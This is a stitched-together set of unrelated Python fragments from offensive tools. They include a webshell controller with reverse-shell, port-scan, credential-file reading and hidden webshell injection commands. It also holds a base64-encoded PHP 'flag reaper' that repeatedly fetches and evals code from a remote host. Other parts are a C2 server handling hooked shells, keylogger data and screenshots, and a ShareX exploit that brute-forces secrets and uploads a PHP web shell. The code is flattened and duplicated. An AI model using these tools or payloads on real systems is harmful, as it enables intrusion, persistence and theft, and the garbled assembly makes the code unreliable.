def __init__(self): Shell.__init__(self) self.update_prompt("~") self.abspath = os.path.dirname(os.path.abspath(__file__)) self.modules = {} self.module_names = [] self.log = Log() self.initiate_modules() self.module = None
def connect_server(argv, hostname, port): """ 连接远程服务器 :param argv: 包含用户认证信息 :param hostname: 主机地址 :param port: 主机端口 :return: """ username = argv.username password = argv.password shell = Shell(hostname=hostname, port=port, username=username, password=password) shell.run()
def init(self, config, cli): self.sync = Sync(config) self.secret_key = Utils.gen_str(32) self.session = session self.request = request self.internal_config = config self.redis = self.internal_config.get("redis") self.shell = Shell(self.redis) self.cli = cli self.active_users = [] self.msgs = [] self.cmds = [] self.username = "" self.command = ""
def __init__(self, config): self.cmds = dict() self.cmds["exit"] = self.exit_cli self.cmds["list"] = self.list_clients self.cmds["interact"] = self.interact self.cmds["show"] = self.view_event self.cmds["help"] = self.show_help self.cmds["kill"] = self.kill_shell self.cmds["purge"] = self.flushdb self.cmds["os"] = self.os_shell self.config = config self.db = self.config.get("redis") self._prompt = "Main" self.guid = "" self.alias = Alias() self.shell = Shell(self.db, True) self.completer = Completer(self.cmds) readline.parse_and_bind("tab:complete") readline.set_completer(self.completer.complete) start_cmd_sync(config)
def main(): banner() if len(sys.argv) != 4: show_help() exit(1) url = sys.argv[1] method = sys.argv[2] password = sys.argv[3] webshell = WebShell(url, method, password) LOCAL_COMMAND_FLAG = True if not webshell.working: Log.error("The webshell cannot work...") exit(2) main_help() while True: Log.context("sniper") context_fresh = raw_input("=>") or "h" context = string.lower(context_fresh) if context == "h" or context == "help" or context == "?": main_help() elif context == "sh" or context == "shell": shell = Shell(webshell) shell.interactive() elif context == "rsh" or context == "rshell": Log.info("socat file:`tty`,raw,echo=0 tcp-l:8888") ip = raw_input("[IP] : (%s)" % (get_ip_address())) or get_ip_address() port = raw_input("[PORT] : (8888)") or "8888" Log.info("Starting reverse shell (%s:%s)" % (ip, port)) webshell.reverse_shell(ip, port) elif context == "p" or context == "print": webshell.print_info() elif context == "pv" or context == "php_version": webshell.get_php_version() elif context == "kv" or context == "kernel_version": webshell.get_kernel_version() elif context == "c" or context == "config": Log.info("Detacting config files...") webshell.get_config_file() elif context == "fwd": webshell.get_writable_directory() elif context == "gdf": webshell.get_disabled_functions() elif context == "fwpf": webshell.get_writable_php_file() elif context == "fsb": webshell.get_suid_binaries() elif context == "setr": LOCAL_COMMAND_FLAG = False elif context == "setl": LOCAL_COMMAND_FLAG = True elif context == "dla": path = raw_input( "Input path (%s) : " % webshell.webroot) or (webshell.webroot) args = raw_input("Please custom find args (%s) : " % (" -size 500k")) or " -size 500k" Log.info("Using command : find %s %s" % (path, args)) webshell.download_advanced(path, args) elif context == "dl": path = raw_input( "Input path (%s) : " % webshell.webroot) or (webshell.webroot) if not webshell.file_exists(path): Log.error("The file [%s] is not exists on the server!" % (path)) continue if webshell.is_directory(path): Log.info( "The target file is a directory, using recursion download..." ) filename_filter = raw_input("Input --name '%s' : " % ("*.php")) or "*.php" webshell.download_recursion(path, filename_filter) else: #filename = path.split("/")[-1] #local_path = raw_input("Input local path (%s) to save the file : " % filename) or (filename) # Log.info("Using root path : [%s] to save!" % (local_path)) Log.info( "The target file is a single file, starting download...") webshell.download(path, path) elif context == "ps": hosts = raw_input( "Input hosts (192.168.1.1/24) : ") or "192.168.1.1/24" if not "/" in hosts: Log.error( "Please use the format IP/MASK , if want to scan a single host , set MASK=32" ) continue ports = raw_input("Input ports (21,22,25,80,443,445,3389)" ) or "21,22,25,80,443,445,3389" webshell.port_scan(hosts, ports) elif context == "aiw": default = random_string(0x10, string.letters) filename = raw_input("Filename (.%s.php): " % (default)) or (".%s.php" % (default)) password = raw_input("Password (%s): " % (default)) or ("%s" % (default)) webshell.auto_inject_webshell(filename, password) elif context == "r" or context == "read": filepath = raw_input( "Input file path (/etc/passwd) : ") or "/etc/passwd" webshell.read_file(filepath) elif context == "db" or context == "database": ip = raw_input("IP (127.0.0.1): ") or "127.0.0.1" username = raw_input("Username (root): ") or "root" password = raw_input("Password (root): ") or "root" Log.info("Creating connection by [%s:%s] to [%s]..." % (username, password, ip)) mysql_connection = Mysql(webshell, ip, username, password) if not mysql_connection.function: Log.error("The target server cannot support mysql!") continue if not mysql_connection.connection_flag: Log.error("Connection failed!") continue Log.success("Connection success!") if mysql_connection.function != "": Log.success("Entering database server interactive mode...") mysql_connection.interactive() else: Log.error("No supported database function!") elif context == "q" or context == "quit" or context == "exit": Log.info("Quiting...") break else: Log.error("Unsupported function!") if LOCAL_COMMAND_FLAG == True: Log.info("Executing command on localhost...") os.system(context_fresh) else: Log.info("Executing command on target server...") webshell.auto_exec_print(context_fresh)
def check(shell_url): """ Check if exploit is working """ output = Shell.execute(shell_url, f'echo {Exploit.MAGIC}') return Exploit.MAGIC in output
def main(): banner() if len(sys.argv) != 4: show_help() exit(1) url = sys.argv[1] method = sys.argv[2] password = sys.argv[3] webshell = WebShell(url, method, password) LOCAL_COMMAND_FLAG = True if not webshell.working: Log.error("The webshell cannot work...") exit(2) Log.info("recording this webshell to the log file...") with open("Webshell.txt", "a+") as f: log_content = "%s => %s => %s\n" % (url, method, password) f.write(log_content) main_help() while True: Log.context("sniper") context_fresh = raw_input("=>") or "h" context = string.lower(context_fresh) if context == "h" or context == "help" or context == "?": main_help() elif context == "sh" or context == "shell": shell = Shell(webshell) shell.interactive() elif context == "rsh" or context == "rshell": Log.info("socat file:`tty`,raw,echo=0 tcp-l:8888") ip = raw_input("[IP] : (%s)" % (get_ip_address())) or get_ip_address() port = raw_input("[PORT] : (8888)") or "8888" Log.info("Starting reverse shell (%s:%s)" % (ip, port)) webshell.reverse_shell(ip, port) elif context == "p" or context == "print": webshell.print_info() elif context == "pv" or context == "php_version": Log.success(webshell.get_php_version()) elif context == "kv" or context == "kernel_version": Log.success(webshell.get_kernel_version()) elif context == "c" or context == "config": Log.info("Detacting config files...") webshell.get_config_file() elif context == "fwd": webshell.get_writable_directory() elif context == "gdf": webshell.get_disabled_functions() elif context == "fwpf": webshell.get_writable_php_file() elif context == "fsb": webshell.get_suid_binaries() elif context == "setr": LOCAL_COMMAND_FLAG = False elif context == "setl": LOCAL_COMMAND_FLAG = True elif context == "dla": path = raw_input( "Input path (%s) : " % webshell.webroot) or (webshell.webroot) args = raw_input("Please custom find args (%s) : " % (" -size 500k")) or " -size 500k" Log.info("Using command : find %s %s" % (path, args)) webshell.download_advanced(path, args) elif context == "dl": path = raw_input( "Input path (%s) : " % webshell.webroot) or (webshell.webroot) if not webshell.file_exists(path): Log.error("The file [%s] is not exists on the server!" % (path)) continue if webshell.is_directory(path): Log.info( "The target file is a directory, using recursion download..." ) filename_filter = raw_input("Input --name '%s' : " % ("*.php")) or "*.php" webshell.download_recursion(path, filename_filter) else: #filename = path.split("/")[-1] #local_path = raw_input("Input local path (%s) to save the file : " % filename) or (filename) # Log.info("Using root path : [%s] to save!" % (local_path)) Log.info( "The target file is a single file, starting download...") webshell.download(path, path) elif context == "ps": hosts = raw_input( "Input hosts (192.168.1.1/24) : ") or "192.168.1.1/24" if not "/" in hosts: Log.error( "Please use the format IP/MASK , if want to scan a single host , set MASK=32" ) continue ports = raw_input("Input ports (21,22,25,80,443,445,3389)" ) or "21,22,25,80,443,445,3389" webshell.port_scan(hosts, ports) elif context == "aiw": default_filename = random_string(0x10, string.letters) default_password = md5( md5("%s%s%s" % (salt, default_filename, salt))) filename = raw_input("Filename (.%s.php): " % (default_filename)) or (".%s.php" % (default_filename)) password = raw_input("Password (%s): " % (default_password)) or ("%s" % (default_password)) webshell.auto_inject_webshell(filename, password) elif context == "aimw": default_filename = random_string(0x10, string.letters) default_password = md5( md5("%s%s%s" % (salt, default_filename, salt))) filename = raw_input("Filename (.%s.php): " % (default_filename)) or (".%s.php" % (default_filename)) password = raw_input("Password (%s): " % (default_password)) or ("%s" % (default_password)) webshell.auto_inject_memery_webshell(filename, password) elif context == "fr": Log.info("Starting flag reaper...") webserver_host = raw_input("[IP] (%s) : " % (get_ip_address())) or get_ip_address() webserver_port = int(raw_input("[PORT] (80) : ") or "80") filename = ".%s.php" % (random_string(0x10, string.letters)) file_content = "ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);while(true){$code = file_get_contents('http://%s:%d/code.txt');eval($code);sleep(5);}" % ( webserver_host, webserver_port) Log.info("Temp memory phpfile : %s" % (file_content)) Log.info("Encoding phpfile...") file_content = '<?php unlink(__FILE__);eval(base64_decode("%s"));?>' % ( file_content.encode("base64").replace("\n", "")) Log.info("Final memory phpfile : %s" % (file_content)) result = webshell.auto_inject_flag_reaper(filename, file_content) if result: Log.success( "Please check the web server(%s:%d) log to get your flag!" % (webserver_host, webserver_port)) Log.info("Tips : tail -f /var/log/apache2/access.log") else: Log.error("Starting flag reaper failed!") elif context == "r" or context == "read": filepath = raw_input( "Input file path (/etc/passwd) : ") or "/etc/passwd" webshell.read_file(filepath) elif context == "db" or context == "database": ip = raw_input("IP (127.0.0.1): ") or "127.0.0.1" username = raw_input("Username (root): ") or "root" password = raw_input("Password (root): ") or "root" Log.info("Creating connection by [%s:%s] to [%s]..." % (username, password, ip)) mysql_connection = Mysql(webshell, ip, username, password) if not mysql_connection.function: Log.error("The target server cannot support mysql!") continue if not mysql_connection.connection_flag: Log.error("Connection failed!") continue Log.success("Connection success!") if mysql_connection.function != "": Log.success("Entering database server interactive mode...") mysql_connection.interactive() else: Log.error("No supported database function!") elif context == "q" or context == "quit" or context == "exit": Log.info("Quiting...") break else: Log.error("Unsupported function!") if LOCAL_COMMAND_FLAG == True: Log.info("Executing command on localhost...") os.system(context_fresh) else: Log.info("Executing command on target server...") webshell.auto_exec_print(context_fresh)
class FlaskFactory(Flask): def init(self, config, cli): self.sync = Sync(config) self.secret_key = Utils.gen_str(32) self.session = session self.request = request self.internal_config = config self.redis = self.internal_config.get("redis") self.shell = Shell(self.redis) self.cli = cli self.active_users = [] self.msgs = [] self.cmds = [] self.username = "" self.command = "" self.debug = False if self.internal_config.get("debug-mode").lower() == "on": self.debug = True def auth(self): if "authenticated" in self.session: return True return False def get_user(self): if "username" in self.session: return self.session["username"] return "unknown" def set_user(self): password = request.form["password"].strip().encode("utf-8") self.session["authenticated"] = True self.session["uid"] = Utils.guid() self.session["username"] = escape(request.form["username"].strip()) self.session["password"] = hashlib.sha512(password).hexdigest() self.active_users.append(self.session["username"]) Log.log_event("User Login", "%s" % str(self.session["username"])) self.redis.append_server_events( "\n[%s] User Login: %s" % (Utils.timestamp(), str(self.session["username"]))) def post_login(self): if request.form["username"].strip() in self.active_users: return -1 if self.request.form["password"].strip() == self.internal_config.get( "server-password"): self.set_user() return True return False def get_username(self): return self.session["username"] def get_password(self): return self.session["password"] def logout(self): self.active_users.remove(str(self.session["username"])) Log.log_event("User Logout", "%s" % str(self.session["username"])) self.session.pop("username") self.session.pop("authenticated") def send_msg(self, msg): self.msgs.append(msg) return "" def get_msgs(self): return self.msgs def hook_shell(self, id): uid = self.session["uid"] return self.redis.add_active_user(uid, id) def unhook_shell(self, id): uid = self.session["uid"] return self.redis.remove_active_user(uid, id) def send_cmd( self, id, cmd, username, ): output, cmd = self.shell.evalute_cmd(cmd) cmd_guid = Utils.guid() self.redis.append_shell_data( id, "[%s] %s - Sending command: %s\n%s\n\n" % (Utils.timestamp(), username, output, cmd)) Log.log_shell(id, "- Sending command", "%s\n%s" % (output, cmd), username=username) if not cmd == "": self.redis.push_cmd(id, cmd, cmd_guid, username) return json.dumps({"output": output}) def html_escape(self, data): html_escape_table = { "&": "&", "\"": """, "'": "'", ">": ">", "<": "<" } return "".join(html_escape_table.get(c, c) for c in data) def get_output(self, id): return self.sync.get_cmd_output(self.session["uid"], id) def get_input(self, id): return self.sync.get_cmd_send(self.session["uid"], id) def get_ip(self): host = self.internal_config.get("http-host") return host def get_port(self): port = self.internal_config.get("http-port") return port def get_events(self): return self.redis.get_server_events().decode() def get_log_date(self, name): dates = fnmatch.filter(os.listdir(os.getcwd() + "/logs/"), "*-*-*") self.log_dates = [] logs = ["event", "http", "error", "chat", "shell", "keylogger"] for date in dates: if name == "screenshot": file_name = fnmatch.filter( os.listdir("%s/logs/%s" % (os.getcwd(), date)), "*.png") if file_name: if date not in self.log_dates: self.log_dates.append(date) if name in logs: file_name = fnmatch.filter( os.listdir("%s/logs/%s" % (os.getcwd(), date)), "%s*.log" % name) if file_name: if date not in self.log_dates: self.log_dates.append(date) return sorted(self.log_dates, key=lambda d: list(map(int, d.split("-")))) def get_log_names(self, log_type): logs = ["shell", "keylogger", "screenshot"] log_info = dict() for date in self.log_dates: if log_type in logs: if log_type == "screenshot": file_names = fnmatch.filter( os.listdir("%s/logs/%s" % (os.getcwd(), date)), "%s_*.png" % log_type) if file_names: for file_name in file_names: log_info[file_name] = date else: file_names = fnmatch.filter( os.listdir("%s/logs/%s" % (os.getcwd(), date)), "%s_*.log" % log_type) if file_names: for file_name in file_names: log_info[file_name] = date return log_info def get_log_data(self, date, name): logs = [ "event", "http", "error", "chat", "screenshots", "shells", "keylogger", "downloads" ] if name == "dashboard": try: path = "%s/logs/%s/event.log" % (os.getcwd(), date) return open(path, "r").read() except: return "No recent activity" elif "screenshot_" in name: try: path = "%s/logs/%s/%s" % (os.getcwd(), date, name) b64_str = base64.b64encode(open(path, "rb").read()) return b64_str except: return "No recent activity." elif name in logs: try: path = "%s/logs/%s/%s.log" % (os.getcwd(), date, name) return open(path, "r").read() except: return "No recent activity." else: try: path = "%s/logs/%s/%s" % (os.getcwd(), date, name) return open(path, "r").read() except: return "No recent activity." def get_screenshots(self, id): screenshots = [] path = os.walk("%s/logs/" % (os.getcwd())) for root, directories, file_names in path: screenshots_id = "%s.png" % id for file_name in file_names: if screenshots_id in file_name: if file_name not in screenshots: screenshots.append(os.path.join(root, file_name)) return screenshots def get_screenshot(self, date, name): path = "%s/logs/%s/%s" % (os.getcwd(), date, name) b64_str = base64.b64encode(open(path, "rb").read()) return b64_str def get_shells(self): shells_list = [] shells = self.redis.get_all_shells() for shell in shells: shell = shell.decode() prompt = self.redis.get_prompt(shell.split(":")[0]).decode() shell_info = { "shell_ip": shell.split(":")[2].encode(), "shell_id": shell.split(":")[0].encode(), "shell_prompt": prompt.split(" ")[1].encode(), "shell_prompt_full": prompt.encode(), "shell_hostname": prompt.split(" ")[0].encode(), "shell_timestamp": self.redis.get_data(shell), } shells_list.append(shell_info) try: shells_list = sorted( shells_list, key=lambda shell_info: shell_info["shell_timestamp"], reverse=True) except TypeError: pass #print(shells_list) return shells_list def get_shell_domain(self, id): domain = self.redis.get_prompt(id).split(" ")[1].split("\\")[0] return domain def get_shell_hostname(self, id): hostname = self.redis.get_prompt(id).split(" ")[0] return hostname def get_shell_user(self, id): user = self.redis.get_prompt(id).split(" ")[1].split("\\")[1] return user def get_payload_name(self): return self.internal_config.get("http-download-path") def get_payload_url(self): return self.internal_config.get("callback-url") def get_protocol(self): if self.internal_config.get("https-enabled") == "on": return "https://" else: return "http://" def get_keylogger(self, id): return self.redis.get_keylogger_data(id) def get_shell(self, id): return self.redis.get_shell_data(id) def get_session_uid(self): return self.session["uid"] def delete_shell(self, id, username): shells = self.redis.get_all_shells() self.send_cmd(id, "exit", username) for shell in shells: shell = shell.decode() if id in shell: return self.redis.delete_entry(shell) def get_gui_host(self): return self.internal_config.get("gui-host") def get_gui_port(self): return self.internal_config.get("gui-port") def get_gui_password(self): return self.internal_config.get("server-password")
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import os import re import json import requests import itertools from core.shell import Shell if __name__ == '__main__': shell = Shell() shell.run()
class Cli: def __init__(self, config): self.cmds = dict() self.cmds["exit"] = self.exit_cli self.cmds["list"] = self.list_clients self.cmds["interact"] = self.interact self.cmds["show"] = self.view_event self.cmds["help"] = self.show_help self.cmds["kill"] = self.kill_shell self.cmds["purge"] = self.flushdb self.cmds["os"] = self.os_shell self.config = config self.db = self.config.get("redis") self._prompt = "Main" self.guid = "" self.alias = Alias() self.shell = Shell(self.db, True) self.completer = Completer(self.cmds) readline.parse_and_bind("tab:complete") readline.set_completer(self.completer.complete) start_cmd_sync(config) def set_prompt(self, prompt): self._prompt = prompt def prompt(self): return UI.prompt(self._prompt) def set_guid(self, guid): self.guid = guid def set_interact(self, guid): self.guid = guid def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() if not self.guid == "": if cmd == "background": self._prompt = "Main" self.db.remove_active_user(self.config.get("uid"), self.guid) self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit", Utils.guid(), self.config.get("username")) self._prompt = "Main" self.guid = "" else: self.db.append_shell_data( self.guid, "[%s] %s - Sending command: \n%s\n\n" % (Utils.timestamp(), self.config.get("username"), data)) Log.log_shell(self.guid, "- Sending command", data, self.config.get("username")) data = self.shell.evalute_cmd(data) print(data[0]) if not (cmd == "help" or data[1] == ""): self.db.push_cmd(self.guid, data[1], Utils.guid(), self.config.get("username")) else: # interacting with the main console if cmd in self.cmds: callback = self.cmds[cmd] callback(data) elif not cmd.strip() == "": UI.error("%s is not a valid command" % cmd) def exit_cli(self, data): os._exit(0) def list_clients(self, data): print("""List of active shells\n""" + "-" * 21 + "\n") for shell in self.db.get_all_shells(): guid = shell.decode().split(":")[0] timestamp = self.db.get_data(shell) prompt = "" id = "" try: prompt = self.db.get_data("%s:prompt" % guid).decode() id = self.db.get_data("%s:id" % guid).decode() except: pass if not id == "": if Utils.get_arg_at(data, 1, 2) == "full": print(" %s\t%s %s last seen %s" % (id, prompt, guid, timestamp.decode())) else: print(" %s\t%s" % (id, prompt)) def interact(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell).decode() if current_id == id: guid = shell.decode().split(":")[0] break if not guid == "": self.completer = Completer(self.shell.get_cmd()) readline.set_completer(self.completer.complete) readline.parse_and_bind("tab: complete") self.guid = guid self.db.add_active_user(self.config.get("uid"), self.guid) self._prompt = self.db.get_data("%s:prompt" % guid).decode() else: UI.error("Invalid session ID") def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == "": UI.error("Missing arguments") return if log_path == "key": UI.warn("Your encryption key is %s" % self.config.get("encryption-key")) return if log_path == "password": UI.warn("Your server password is %s" % self.config.get("server-password")) return if not log_path in ("http", "event", "error"): UI.error("Invalid path") return log_path += ".log" rows = Utils.get_arg_at(data, 2, 2) if rows == "": rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, "rb").readlines(): data.append(line) data = list(reversed(data)) print("""Last %d lines of log\n----------------------""" % rows) data = list(data) for i in range(0, rows): try: print(data[i].decode().strip()) except: pass def flushdb(self, data): force = Utils.get_arg_at(data, 1, 1) if force: self.db.flushdb() UI.error("The whole redis DB was flushed") else: UI.error("Please use the force switch") def os_shell(self, data): cmd = Utils.get_arg_at(data, 1, 1) print("""Executing: %s\n----------------------""" % cmd) try: output = subprocess.check_output(cmd, stderr=subprocess.PIPE, shell=True) except: UI.error("Command failed to execute properly") output = bytearray() print(output.decode()) def kill_shell(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell).decode() if current_id == id: guid = shell.decode().split(":")[0] break if not guid == "": self.db.delete_all_by_guid(guid) print("Deleting shell with ID %s" % current_id) else: UI.error("Invalid session ID") def show_help(self, data): print("""Help Menu\n""" + "=" * 9) print("\n" + tabulate( { "Commands": [ "list", "interact", "show", "kill", "os", "purge", "exit", "help", ], "Args": [ "full", "id", "(password,key,error,http,event) rows", "id", "command", "force", "", "", ], "Descriptions": [ "List all active shells", "Interact with a session", "Show server password, encryption key, errors, http or events log (default number of rows 10)", "kill shell (clear db only)", "Execute command on the system (local)", "WARNING! Delete all the Redis DB", "Exit the application", "Show this help menu", ] }, headers="keys", tablefmt="simple"))
def main(): if os.name == 'nt': import colorama colorama.init(convert=True) Banner.print() Logger.warning('use with caution. you are responsible for your actions') Logger.warning( 'developer assume no liability and is not responsible for any misuse or damage' ) Logger.empty_line() parser = argparse.ArgumentParser(usage='%(prog)s [options]') parser.error = Logger.error parser.add_argument('-v', '--verbose', help='verbose', dest='verbose', action='store_true') parser.add_argument('-s', '--secret', help='sharex secret key', dest='secret', metavar='') parser.add_argument('--form-name', help='multipart file form name', dest='form_name', metavar='', default='sharex') parser.add_argument('--field-name', help='sharex secret key post data field name', dest='field_name', metavar='', default='secret') parser.add_argument('--no-cache', help='disable cache', dest='cache_enabled', action='store_false') mandatory_group = parser.add_argument_group('mandatory arguments') mandatory_group.add_argument('-u', '--url', help='target url', dest='url', metavar='', required=True) brute_group = parser.add_argument_group('brute force arguments') brute_group.add_argument('--brute-endpoint', help='brute force file upload endpoint', dest='brute_endpoint', action='store_true') brute_group.add_argument('--brute-secret', help='brute force sharex secret key', dest='brute_secret', action='store_true') brute_group.add_argument( '--brute-field', help='brute force sharex secret key post data field name', dest='brute_field', action='store_true') brute_group.add_argument('--brute-form', help='brute force multipart file form name', dest='brute_form', action='store_true') if len(sys.argv) == 1: parser.print_help() return args = parser.parse_args() if not Validate.url(args.url): Logger.error(f'invalid url: {args.url}') if not Validate.active_url(args.url): Logger.error('target is offline') Logger.success('target is online') cached_shell_url = Cache.get(args.url) if args.cache_enabled else None if cached_shell_url is not None: Logger.info('shell url fetched from cache') shell_url = cached_shell_url['shell_url'] else: url = args.url field_name = args.field_name secret = args.secret form_name = args.form_name if args.brute_endpoint: if args.verbose: Logger.info('brute forcing endpoint...') url = Brute.endpoint(url) if url is None: Logger.error('endpoint not found') Logger.success(f'endpoint found: \x1b[95m{url}') if Brute.is_required( url ): # checks if it's necessary to brute force secret key POST data field name and secret key if args.brute_field: if args.verbose: Logger.info('brute forcing secret key field name...') field_name = Brute.field_name(url) if field_name is None: Logger.error('field name not found') Logger.success(f'field name found: \x1b[95m{field_name}') if args.brute_secret: if args.verbose: Logger.info('brute forcing secret key...') secret = Brute.secret(url, field_name) if secret is None: Logger.error('secret not found') Logger.success(f'secret found: \x1b[95m{secret}') if args.brute_form: if args.verbose: Logger.info('brute forcing multipart form name...') form_name = Brute.form_name(url, secret, field_name) if form_name is None: Logger.error('form name not found') Logger.success(f'form name found: \x1b[95m{form_name}') if args.verbose: Logger.info('attempting to upload php web shell...') try: shell_url = Exploit.upload_shell( url, form_name, secret, field_name, args.verbose, args.cache_enabled ) # program will exit if an error occurs (shell_url cannot be None) except Exception: Logger.error( f'an error occurred while attempting to upload php web shell on target site' ) Shell.command_line(shell_url)